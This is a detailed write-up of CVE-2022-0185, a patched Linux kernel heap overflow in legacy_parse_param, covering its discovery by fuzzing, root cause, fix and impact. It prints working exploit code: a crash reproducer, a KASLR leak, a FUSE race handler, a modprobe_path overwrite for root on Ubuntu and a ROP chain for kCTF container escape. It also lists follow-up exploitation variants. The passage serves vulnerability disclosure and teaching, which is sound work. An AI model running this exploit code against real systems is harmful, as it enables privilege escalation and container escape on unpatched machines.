            memset(recieved, 0, sizeof(recieved));

            int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
            if (ret < 0)
            {
                ready = 1;
                ignition_target = i;
                break;
            }
        }
        if (!ready) {
            puts("nothing ready for ignition, trying again");
            stuff_4k(16);
        }
    }
    char overwrite[0x300] = {0};
    memset(overwrite, 0x41, sizeof(overwrite));
    uint64_t *overwrite_ptr = (uint64_t *)overwrite;

    overwrite_ptr[1] = kmalloc_512 + 0x50;
    uint64_t user_rflags, user_cs, user_ss, user_sp;
    asm volatile(
        "mov %0, %%cs\n"
        "mov %1, %%ss\n"
        "mov %2, %%rsp\n"
        "pushfq\n"
        "pop %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
    );
    uint64_t chain[] = {
        pop_rdi, 0, prepare_kernel_cred,
        pop_rsi, 0xbaadbabe, cmov_rdi_rax_esi_nz_pop_rbp, 0xdeadbeef,
        commit_creds,
        pop_rdi, 1, find_task_by_vpid,
        pop_rsi, 0xbaadbabe, cmov_rdi_rax_esi_nz_pop_rbp, 0xdeadbeef,
        pop_rsi, init_nsproxy, switch_task_namespaces,
        kpti_trampoline, 0xdeadbeef, 0xbaadf00d, (uint64_t)pwned,
        user_cs, user_rflags, user_sp & 0xffffffffffffff00, user_ss,
    };
    memcpy(&overwrite_ptr[2], chain, sizeof(chain));
    for (int i = 0; i < P_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }

    for (int i = 0; i < ROP_SPRAY; i++)
    {
        send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
    }
    deplete_512();
    deplete_4k();
    puts("[*] Attempt at igniting ROP!");

    for (int i = 0; i < PIPES; i++)
    {
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }
}

To find the other container's flag, the exploit brute-forces /proc/pid/root/flag/flag, since the container's pid maps to some other pid reachable from the root pid namespace. A root shell would also work, but this is more efficient for getting the flag. The final exploit is at https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_kctf.c.

Root cause

The bound check in legacy_parse_param subtracts an unsigned size from PAGE_SIZE - 2. Once size reaches 4095 or more, the subtraction underflows and the check passes for any length, so the subsequent memcpy calls write past the 4096-byte legacy_data allocation. The bug has been present since 5.1-rc1. The only privilege needed is CAP_SYS_ADMIN in the current namespace, which an unprivileged user obtains by creating a new user and mount namespace with unshare(CLONE_NEWNS|CLONE_NEWUSER).

Existing mitigations did not stop it. Slab randomization and hardening did not prevent the overflow from reaching the first 0x30 bytes of a msg_msg, and since 5.7 the freelist pointer sits in the middle of the chunk, so overflowing the start of the object does not corrupt the allocator state. Usercopy hardening did not block the leak because MSG_COPY copies through a fresh msg_msg rather than unlinking the corrupted one. CONFIG_DEBUG_LIST did block the straightforward unlink attack, which is why the exploit moved to the arbitrary free primitive. On the kCTF side, the GFP_KERNEL_ACCOUNT separation in kernels before 5.9 (with CONFIG_MEMCG_KMEM) would have prevented msg_msg from being placed alongside the legacy data, which is why the team targeted the 5.10-based instance.

Impact

On a general Linux distribution, an unprivileged local user can escalate to root: the Ubuntu exploit overwrites modprobe_path so that a script makes /bin/bash suid, after which running bash with -p gives root. In the kCTF environment, the exploit roots the container, escapes to the host through the namespace and credential ROP chain, and reads the root flag of another container by brute-forcing /proc/pid/root/flag/flag. The bug affects all kernel versions since 5.1, and the published exploit can be adjusted for versions above 5.7, with the spray reworked for older kernels. Google still granted a sizeable bounty, despite the collision with StarLabs' earlier find.

Fix

The fix clubby789 developed and the team sent to the Linux kernel project replaces the underflowing check with an addition that cannot wrap:

Text
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
 			       param->key);
 	}

-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)
 		return invalf(fc, "VFS: Legacy: Cumulative options too large");
 	if (strchr(param->key, ',') ||

The bug was patched as of the article's release.

Variants to test

  • Other legacy filesystems: any struct file_system_type without init_fs_context reaches legacy_parse_param. Open it with fsopen and send repeated FSCONFIG_SET_STRING calls with a 33-byte value; a KASAN slab-out-of-bounds in legacy_parse_param confirms the path.
  • Other unsigned size arithmetic in bound checks: look for PAGE_SIZE - N - size patterns where size is unsigned. A positive result is a check that passes when size is close to the page size.
  • msg_msg abuse on kernels before 5.9 with CONFIG_MEMCG_KMEM: try a cross cache overflow as StarLabs did on the older kCTF instance. A positive result is a leak or write through msg_msg despite the accounting separation.
  • pipe_buffer ops overwrite: after obtaining a heap leak, free a kmalloc-1k chunk at an offset and spray 1k msg_msg objects containing a ROP chain and a stack pivot. Closing the pipe should trigger the pivot; a positive result is control of rsp.
  • FUSE-based usercopy race on kernels where userfaultfd is disabled: build a custom FUSE filesystem whose read handler blocks on a pipe, map it, and trigger the copy. A positive result is a hang at the chosen offset without needing userfaultfd.
  • CONFIG_DEBUG_LIST bypass: overwrite the linked list pointers so the validity check passes, then use the security pointer for an unaligned free. A positive result is a controlled free that survives the check.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 48 min read.

What happened, in plain words

A group of friends who play capture-the-flag competitions together, a team called Crusaders of Rust, went looking for a hidden mistake in the Linux kernel. The Linux kernel is the core program that sits between the hardware and everything else on a computer: it manages memory, decides which program may do what, and controls who is allowed to be the administrator (called root). A mistake in the kernel that lets an ordinary user become root is very serious, because it breaks the wall between normal users and the administrator.

They found one. They turned it into a working attack that gives an ordinary user root on Ubuntu, a popular version of Linux. Then they rewrote the attack so it could break out of a container. A container is a sealed-off box inside a computer: a program running in it sees only its own little world, not the rest of the machine. Breaking out of a container means getting from inside the box to the machine that hosts it, and from there reaching other boxes.

They did this against Google's kCTF infrastructure, a deliberately hardened playground that Google runs to test how well containers hold up. Google paid them a sizeable bounty for the report. The bug was given the identifier CVE-2022-0185. A CVE is a public catalogue number for a known security flaw, so people can talk about the same bug unambiguously.

The bug affects every Linux kernel version since 5.1, and at the time of writing 5.16 was still in progress. It was reported to the Linux security team and the people who build Linux distributions, and it was fixed by the time the article came out.

The submission turned out to be a collision: two teams found the same bug independently. During the disclosure process the team learned that n0psledbyte, from the Singaporean VR firm StarLabs, had found the same bug earlier. Because Crusaders of Rust were the first to properly report and disclose it, Google still granted a sizeable bounty, and sirdarckcat helped with the collision situation.

How they found it

They bought dedicated servers, machines rented for their own exclusive use, and ran a fuzzer on them. A fuzzer is a program that throws huge amounts of random, malformed input at a target and watches for crashes. Google's fuzzer is called syzkaller, and it specialises in calling the kernel's system calls. A system call is the way a normal program asks the kernel to do something, such as open a file or create a process.

On January 6th at 22:30 PST, a team member called chop0 got the crash that started everything. The crash was a KASAN failure in a kernel function called legacy_parse_param, reported as slab-out-of-bounds Write in legacy_parse_param. KASAN is a kernel debugging feature that watches memory accesses and shouts when a program reads or writes outside the area it was given. A slab is the kernel's internal pool of fixed-size memory blocks; a write just past the end of one of those blocks is exactly the kind of mistake that can be turned into an attack.

Syzbot, a public service that runs syzkaller continuously and publishes the crashes it finds, had found the same issue six days earlier while fuzzing Android. That report was left unhandled, and the team naively thought nobody else had noticed.

The crash log showed a one-byte write just past a 4096-byte region in the kmalloc-4k cache. A cache here is a pool of memory blocks of one particular size; kmalloc-4k holds blocks of 4096 bytes, which is one page of memory.

Text
BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569
Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100
CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
 __dump_stack lib/dump_stack.c:88 [inline]
 dump_stack_lvl+0x4d/0x66 lib/dump_stack.c:105
 print_address_description.constprop.0+0x21/0x140 mm/kasan/report.c:233
 __kasan_report mm/kasan/report.c:419 [inline]
 kasan_report.cold+0x7f/0x11b mm/kasan/report.c:436
 legacy_parse_param+0x450/0x640 fs/fs_context.c:569
 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
 __do_sys_fsconfig fs/fsopen.c:439 [inline]
 __se_sys_fsconfig fs/fsopen.c:314 [inline]
 __x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314
 do_syscall_x64 arch/x86/entry/common.c:50 [inline]
 do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x44/0xae
RIP: 0033:0x7fe8eeb7489d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fe8edcc5c28 EFLAGS: 00000246 ORIG_RAX: 00000000000001af
RAX: ffffffffffffffda RBX: 00007fe8eec94030 RCX: 00007fe8eeb7489d
RDX: 0000000020000040 RSI: 0000000000000001 RDI: 0000000000000003
RBP: 00007fe8eebe100d R08: 0000000000000000 R09: 0000000000000000
R10: 0000000020000800 R11: 0000000000000246 R12: 0000000000000000
R13: 00007ffd8112faef R14: 00007fe8eec94030 R15: 00007fe8edcc5dc0
Allocated by task 386092:
 kasan_save_stack+0x1b/0x40 mm/kasan/common.c:38
 kasan_set_track mm/kasan/common.c:46 [inline]
 set_alloc_info mm/kasan/common.c:434 [inline]
 ____kasan_kmalloc mm/kasan/common.c:513 [inline]
 __kasan_kmalloc+0x7c/0x90 mm/kasan/common.c:522
 kmalloc include/linux/slab.h:591 [inline]
 legacy_parse_param+0x3e2/0x640 fs/fs_context.c:559
 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
 __do_sys_fsconfig fs/fsopen.c:439 [inline]
 __se_sys_fsconfig fs/fsopen.c:314 [inline]
 __x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314
 do_syscall_x64 arch/x86/entry/common.c:50 [inline]
 do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x44/0xae
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
autofs4:pid:386120:autofs_fill_super: called with bogus options
autofs4:pid:386117:autofs_fill_super: called with bogus options
The buggy address belongs to the object at ffff88802d7d8000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff88802d7d8000, ffff88802d7d9000)
The buggy address belongs to the page:
page:000000006784204d refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x2d7d8
head:000000006784204d order:3 compound_mapcount:0 compound_pincount:0
flags: 0x100000000010200(slab|head|node=0|zone=1)
raw: 0100000000010200 0000000000000000 0000000200000001 ffff888100043040
raw: 0000000000000000 0000000000040004 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
 ffff88802d7d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffff88802d7d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff88802d7d9000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff88802d7d9080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff88802d7d9100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

Read this log from the top. The first line names the function where the bad write happened, legacy_parse_param, and the file and line number in the kernel source. The second line says the write was one byte long and gives the address it went to. The Call Trace is the chain of function calls that led there, like a stack of cards: each line is a function that called the one below it, ending at the system call entry point. The Allocated by task section tells you which earlier call created the memory block that was overrun. The lines near the bottom describe the block: it belongs to the kmalloc-4k cache and is 4096 bytes long, and the bad address sits exactly 0 bytes to the right of its end. The fc fc fc bytes are KASAN's marker for memory that is not supposed to be touched.

Fiddling with the C reproducer, the small program syzkaller had saved to reproduce the crash, the team reduced it to a snippet that triggered a crash reliably:

C
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void) {
    char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    int fd = 0;
    fd = fsopen("9p", 0);
    if (fd < 0) {
        puts("Opening");
        exit(-1);
    }

    for (int i = 0; i < 5000; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
    }

    return 0;
}

Line by line. The #include lines pull in standard C headers so the program can make system calls and print text. The #ifndef __NR_fsconfig blocks define the numbers 431 and 430 for the two system calls, in case the headers on the machine are too old to know them; every system call has a number the kernel uses to identify it. FSCONFIG_SET_STRING is defined as 1, the command that says "here is a key and a string value". The two #define lines with syscall(...) are shortcuts so the program can call the two system calls by name. In main, val is a 33-character string of the letter A. fsopen("9p", 0) asks the kernel to start setting up a filesystem of type 9p, which is the Plan 9 filesystem, and returns a file descriptor, a small number the program uses to refer to that setup from then on. If the call fails, the program prints Opening and exits. The loop then calls fsconfig 5000 times, each time adding the same key and value to that filesystem setup. The key is the single byte \x00, a null byte, and the value is the 33 A's. Repeating this many times is what eventually pushes the kernel past the end of its buffer.

The exploit targets were Ubuntu (preferably 20.04) and Google's kCTF infrastructure. The exact Ubuntu kernel targeted was 5.11.0-44. As with most distro kernels, many hardening options are compiled in: slab randomization, slab hardening, usercopy hardening, and the usual SMAP, SMEP, KASLR and KPTI. These are all defences that make an attacker's life harder; each is explained where it matters below. Distro images also carry options that help exploitation, such as CONFIG_CHECKPOINT_RESTORE, CONFIG_USER_NS, CONFIG_FUSE, CONFIG_SYSVIPC and CONFIG_USERFAULTFD. Those are build-time switches: they decide which kernel features are present, and some of them give an attacker useful tools.

Understanding the bug

The fsconfig system call takes a file descriptor, a command such as FSCONFIG_SET_STRING, and two strings for key and value. For FSCONFIG_SET_STRING the value must point to a null-terminated string, meaning a string that ends with a zero byte so the kernel knows where it stops, and the auxiliary argument must be 0. Following the stack trace, vfs_fsconfig_locked reaches vfs_parse_fs_param through the default case of its switch, and that calls the parse_param function pointer from the ops field of the fs_context. A function pointer is a variable that holds the address of a function, so the kernel can decide at runtime which function to run. For legacy filesystems that pointer is legacy_parse_param, as defined by the legacy_fs_context_ops structure.

What makes a filesystem legacy is decided in alloc_fs_context:

C
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
    init_fs_context = legacy_init_fs_context;

This says: look up the filesystem type's init_fs_context field. If it is empty, use the legacy one. fs_type is a struct file_system_type, the kernel's description of a filesystem type. The exploit abused ext4, the default filesystem on most Linux systems; the original fuzzing crash happened on the Plan 9 filesystem. Neither of them, and many other filesystems, set init_fs_context, so they all default to legacy and reach legacy_parse_param.

The offending function is:

C
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;
	int ret;

	ret = vfs_parse_fs_param_source(fc, param);
	if (ret != -ENOPARAM)
		return ret;

	if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
		return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	case fs_value_is_flag:
		len += strlen(param->key);
		break;
	default:
		return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
			       param->key);
	}

	if (len > PAGE_SIZE - 2 - size)
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			       param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;

	return 0;
}

Walk through it. ctx is the per-filesystem context, the place where options are collected. size is how many bytes are already stored, read from ctx->data_size. The first check asks whether the parameter came from somewhere else and should be handled there. The second refuses to mix two different styles of options. The switch computes how long this new option is: for a string value it counts the value plus one, and then adds the length of the key. Then comes the bound check that is supposed to stop the buffer from filling up. After that, a check rejects any key or value containing a comma, because commas separate options in the final string. If no buffer exists yet, kmalloc(PAGE_SIZE, GFP_KERNEL) allocates one page, 4096 bytes, from the kernel's memory pool. Then the function writes a comma, copies the key, writes an equals sign, copies the value, and writes a zero byte at the end. Finally it records the new size and marks the context as holding individual options.

When the value is a string, the length calculation factors in both the value string and the key string. On the first call, a 4k chunk is allocated for legacy_data. The function writes a comma, copies the key, writes an equals sign, copies the value, and null-terminates. The bound check that is supposed to prevent overflow is:

C
if (len > PAGE_SIZE - 2 - size)
	return invalf(fc, "VFS: Legacy: Cumulative options too large");

That check holds for most cases, but if size is 4095 bytes or greater, the subtraction underflows because size is an unsigned int. An unsigned int is a whole number that cannot be negative; when you subtract a bigger number from a smaller one, it wraps around to a huge value instead of going below zero. So the check compares the new length against an enormous number, passes, and the following copies write past the end of the 4096-byte buffer. Trigger the underflow and the overflow becomes effectively unbounded.

The bug has existed since 5.1-rc1. Triggering it requires the CAP_SYS_ADMIN capability, but only in the current namespace. A capability is a specific permission, and CAP_SYS_ADMIN is the powerful one that lets a process administer the system. A namespace is a private view of part of the system: processes, network, mounts, and so on. Most unprivileged users can call unshare(CLONE_NEWNS|CLONE_NEWUSER) (the equivalent of the command unshare -Urm) to enter a namespace where they hold CAP_SYS_ADMIN, and abuse the bug from there. That is what makes it dangerous: an ordinary user can grant themselves the needed permission inside their own private namespace.

Turning the bug into an attack

The only primitive the bug gives is a heap overflow in a 4k slab. A primitive in this context means the one small ability an attacker has, which they build everything else from. A heap overflow means writing past the end of an allocated block into whatever sits next to it. The team's earlier work with D3v17 on abusing msg_msg structures for OOB read, arbitrary read and arbitrary write (the Fire of Salvation challenge and its follow-up article) covered a 0x30-byte UAF at the start of a msg_msg in the 4k slab, so a 4k heap overflow fits that scenario almost exactly. msg_msg is the kernel's internal structure for a message in a queue; a UAF, use-after-free, is using memory after it has been given back. OOB read means reading past the end of a buffer. Arbitrary read and arbitrary write mean reading or writing any address the attacker chooses. With one exception, the same strategy applies.

A note on stability: newer kernel mitigations actually helped. The exploit never did much spraying beyond initial sprays to clean up slabs, plus forcing CPU affinity on one core because each core has its own freelist. Spraying means allocating many objects of the same size so that one of them lands where you want. CPU affinity means pinning your program to one processor core, so its allocations come from that core's pool. A freelist is the kernel's list of free blocks in a pool. On kernels where the freelist pointer sat at the beginning of each chunk, exploitation required far more spraying and never exceeded a 50% success rate. Since 5.7 the kernel moved the freelist pointer to the middle of the chunk to stop overflows corrupting heap state. As long as the overflow does not hit an important object, the exploit can keep overflowing the first 0x30 bytes (all that matters for msg_msg) without corrupting the 4k pages, and a fresh legacy data allocation is available with every new fd created by fsopen.

Step 1: leaking where the kernel is in memory

KASLR is a defence that loads the kernel at a random address each boot, so an attacker cannot hard-code addresses of kernel functions. To defeat it, the attacker needs to leak one real kernel address. To leak KASLR on general distributions, the legacy data chunk must land directly on top of a 4k msg_msg chained with a kmalloc-32 msg_msgseg. A msg_msgseg is a small follow-on block used when a message is too big for one chunk. The overflow adjusts the msg_msg size parameter to make it larger, and MSG_COPY then produces an OOB leak. MSG_COPY is a flag that asks the kernel to copy a message out without removing it from its queue. Spraying many seq_operations structures with the classic

C
open("/proc/self/stat", O_RDONLY)

trick gives a high chance that the OOB read leaks pointers inside that structure, which rebases the kernel and bypasses KASLR. seq_operations is a small structure holding function pointers that the kernel creates when a program opens certain files; /proc/self/stat is one such file, and opening it creates the structure. Rebasing means working out the real load address from one leaked pointer.

Because there are no heap leaks and usercopy hardening does bounds checking on heap objects, the exploit relies on MSG_COPY, which does not unlink the msg_msg from its msg_queue (an unlink would use the linked list pointers in the first 0x10 bytes) and uses memcpy to transfer data into a new msg_msg before usercopying back. Usercopy is the kernel routine that copies data between kernel memory and user memory; hardened usercopy checks that the copy stays inside the object it claims to touch.

The leak code:

C
uint64_t do_leak ()
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    for (int i = 0; i < 8; i++)
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);

    for (int i = 8; i < 0x10; i++)
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) {
        open("/proc/self/stat", O_RDONLY);
    }
    size = 0x1060;
    puts("[*] Attempting to recieve corrupted size and leak data");

    for (int j = 0; j < 0x10; j++)
    {
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);
        if (kbase)
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

Line by line. kbase will hold the leaked kernel base address. pat is a 4096-byte scratch buffer, buffer and recieved are 8192-byte buffers, and targets holds up to 16 queue identifiers. message points at buffer and is treated as a msg structure, so the program can fill in the fields of a message. size is 0x1018, a little over 4096, so the message will need a follow-on segment. The first loop creates 8 message queues, fills each message with a different repeated byte, and sends it. make_queue and send_msg are the program's own helpers around the kernel's message queue system calls. Then pat is filled with 0x42 bytes and its last byte set to zero, so it is a valid string. fsopen("ext4", 0) starts an ext4 filesystem setup; if it fails, the program reminds the user to unshare first, because the permission is only available inside a namespace. pat is then overwritten with 33 A's, and the loop calls fsconfig 117 times. Each call adds the key and value to the stored options, and after 117 calls the stored size reaches the threshold where the check breaks. Then pat[21] = '\x00' shortens the string to 21 characters, and evil is a two-byte string. The next fsconfig call writes the shortened key and then the two bytes, which land just past the end of the buffer. The second loop creates 8 more queues with messages, so there are fresh msg_msg objects nearby. Then fsconfig is called once more with evil, completing the overflow. The program opens /proc/self/stat 100 times to spray seq_operations structures into the small kmalloc-32 pool. size is raised to 0x1060, larger than the real message, so reading it back will read past its end. The final loop reads each of the 16 target queues with MSG_COPY and passes the result to do_check_leak, which looks for a kernel pointer. If one is found, the file descriptor is closed and the base address returned. If not, the program prints a failure message and returns 0 so the caller can try again.

Step 2: writing anywhere with a FUSE race

The arbitrary write technique from the earlier work requires hanging the usercopy after it copies into the first msg_msg chunk but before it traverses to the msg_msgseg chunk, which happens when the requested size exceeds 4096. Hanging means pausing the kernel in the middle of a copy so the attacker can change memory underneath it. Previously this was done with userfaultfd, a kernel feature that lets a program handle page faults in its own memory and therefore pause the kernel when it touches a missing page. But unprivileged userfaultfd has been disabled by default since 5.11. The FUSE technique from the LSSEU 2019 slides on exploiting race conditions caught the team's attention: users can talk to /dev/fuse to build a custom filesystem in userspace, map its files into memory with mmap, have usercopy reach them, and have the custom read handlers hang or do anything else. FUSE stands for Filesystem in Userspace: it lets an ordinary program pretend to be a filesystem. mmap is a system call that maps a file into the program's memory so reads and writes go straight to the file.

The custom FUSE read handler:

C
int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi)
{
    char signal;
    char evil_buffer[0x1000];
    memset(evil_buffer, 0x43, sizeof(evil_buffer));
    char *evil = modprobe_win;
    memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
    size_t len = 0x1000;
    if (offset >= len)
        return size;
    if (offset + size > len)
        size = len - offset;
    memcpy(buf, evil_buffer + offset, size);

    read(fuse_pipes[0], &signal, 1);
    return size;
}

Line by line. This function is called whenever someone reads from the fake file. evil_buffer is a 4096-byte buffer filled with 0x43 bytes. modprobe_win is the payload the attacker wants to place in memory. The memcpy puts that payload near the end of evil_buffer, at offset 0x1000 minus 0x30. The next lines clamp the requested read to the buffer's length, so a read past the end returns nothing. Then memcpy(buf, evil_buffer + offset, size) copies the requested bytes back to the caller. Finally, read(fuse_pipes[0], &signal, 1) blocks on a pipe until the attacker's other thread writes a byte, which is how the handler hangs at exactly the chosen moment. A pipe is a one-way channel between two parts of a program.

Two difficulties came with this race. Normally an unprivileged user needs a suid /bin/fusermount binary, but performing the unshare that creates the user namespace skips that requirement. suid means "set user id": running that program gives you the file owner's privileges, which is how normal users are allowed to mount FUSE filesystems. And libfuse is notoriously difficult to statically link because it relies on dl_open for some extra features. Static linking means baking all the library code into the program so it needs nothing at run time; dl_open loads extra code dynamically, which defeats that. The team removed all references to dl_open and rebuilt the library, after which static compilation worked and the technique works on any system with CONFIG_FUSE enabled regardless of libfuse or fusermount availability.

Step 3: becoming root on Ubuntu through modprobe_path

For simplicity the Ubuntu exploit only targeted modprobe_path, overwriting it with the path to a script that makes /bin/bash suid. modprobe_path is a kernel setting holding the path of the program the kernel runs when it needs to load a module, a piece of driver code. The kernel runs it with root privileges. If an attacker can change that path, they can make the kernel run their own script as root. The script triggers with root privileges whenever anyone runs a binary with an invalid header, because the kernel then tries to load a module to handle it. A header is the first few bytes of a file that identify its format.

C
void do_win()
{
    int size = 0x1000;
    char buffer[0x2000] = {0};
    char pat[0x1000] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    uint64_t race_page = 0x1338000;
    msg *rooter = (msg *)(race_page-0x8);
    rooter->mtype = 1;
    size = 0x1010;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(target, message, size - 0x30, 0);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) {
        puts("Opening");
        exit(-1);
    }

    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    puts("[*] Prepaing fault handlers via FUSE");
    int evil_fd = open("evil/evil", O_RDWR);
    if (evil_fd < 0) {
        perror("evil fd failed");
        exit(-1);
    }
    if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000) {
        perror("mmap fail fuse 1");
        exit(-1);
    }

    pthread_t thread;
    int race = pthread_create(&thread, NULL, arb_write, NULL);
    if(race != 0) {
        perror("can't setup threads for race");
    }
    send_msg(target, rooter, size - 0x30, 0);
    pthread_join(thread, NULL);

    munmap((void *)0x1337000, 0x1000);
    munmap((void *)0x1338000, 0x1000);
    close(evil_fd);
    close(fd);
}

Line by line. buffer and pat are scratch buffers, and message points at buffer as a message. mmap reserves a page at the fixed address 0x1337000, readable and writable, anonymous (not backed by a file) and private. race_page is 0x1338000, the next page up. rooter is a message pointer placed 8 bytes before that page, so its first field, mtype, sits at the start of the page; mtype is the message type, a number the queue uses to identify messages. size is set to 0x1010 and a queue is created and a message sent. Then an ext4 filesystem is opened and the same 117 calls fill the legacy buffer to the threshold. The program opens evil/evil, a file in the fake FUSE filesystem, and maps it at the fixed address 0x1338000, shared and fixed. A second thread is started running arb_write, which will perform the actual write while the main thread triggers the copy. send_msg sends the rooter message, which is the copy that will hang inside the kernel. pthread_join waits for the other thread to finish. Finally the two mappings are removed with munmap and the file descriptors are closed.

The full exploit is at https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_fuse.c. It can be adjusted for any kernel version above 5.7; older versions need the spray reworked. With /bin/bash suid, any low-privileged user with access to bash runs it with -p to get root. The -p flag tells bash not to drop the privileges it was given.

Step 4: moving to kCTF

